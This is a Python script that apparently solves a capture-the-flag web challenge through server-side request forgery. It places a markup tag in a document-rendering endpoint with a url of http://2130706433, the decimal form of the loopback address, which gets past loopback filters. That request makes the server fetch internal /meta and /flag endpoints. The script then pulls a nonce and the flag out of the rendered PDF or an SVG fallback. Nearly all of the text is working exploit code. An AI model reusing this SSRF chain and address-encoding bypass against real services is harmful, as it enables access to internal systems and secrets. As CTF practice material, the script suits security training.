import io import re import sys import time import requests BASE_URL = "http://127.0.0.1:8000" SSRF_META_URL = "http://2130706433/meta" SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}" def build_scroll(rid: str, mode: str, url: str) -> str: return ( f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n' f"![](/etch?rid={rid}&what={mode})" ) def get_rid(session: requests.Session) -> str: resp = session.get(f"{BASE_URL}/") resp.raise_for_status() rid = session.cookies.get("rune_rid") if not rid: raise RuntimeError("rune_rid cookie not found. Open / in browser once.") return rid def seal_scroll(session: requests.Session, content: str) -> bytes: resp = session.post(f"{BASE_URL}/seal", data={"content": content}) if resp.status_code != 200: raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}") return resp.content def extract_text_from_pdf(data: bytes) -> str: try: import PyPDF2 # type: ignore except Exception: return "" try: reader = PyPDF2.PdfReader(io.BytesIO(data)) except Exception: return "" texts = [] for page in reader.pages: try: texts.append(page.extract_text() or "") except Exception: continue return "\n".join(texts) def extract_nonce_from_pdf(data: bytes) -> str: text = extract_text_from_pdf(data) if text: match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text) if match: return match.group(0) # Fallback: brute-search tokens in raw PDF bytes. raw = data.decode("latin1", errors="ignore") candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw) if candidates: return candidates[0] raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.") def extract_flag_from_pdf(data: bytes) -> str: text = extract_text_from_pdf(data) if text: match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text) if match: return match.group(0) raw = data.decode("latin1", errors="ignore") match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw) if match: return match.group(0) raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.") def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str: resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what}) resp.raise_for_status() svg = resp.text match = re.search(r"]*>([^<]+)", svg) if match: return match.group(1).strip() raise RuntimeError("Failed to extract value from SVG.") def main() -> int: global BASE_URL if len(sys.argv) > 1: base_url = sys.argv[1].rstrip("/") else: base_url = BASE_URL BASE_URL = base_url session = requests.Session() rid = get_rid(session) print(f"[+] rid = {rid}") # Step 1: get nonce via oracle scroll_meta = build_scroll(rid, "meta", SSRF_META_URL) pdf_meta = seal_scroll(session, scroll_meta) # Prefer extracting from PDF; fallback to /etch if parsing fails. try: nonce = extract_nonce_from_pdf(pdf_meta) except Exception: nonce = fetch_svg_text(session, rid, "meta") print(f"[+] nonce = {nonce}") # Step 2: get flag scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce)) pdf_flag = seal_scroll(session, scroll_flag) try: flag = extract_flag_from_pdf(pdf_flag) except Exception: flag = fetch_svg_text(session, rid, "flag") print(f"[+] flag = {flag}") return 0 if __name__ == "__main__": raise SystemExit(main())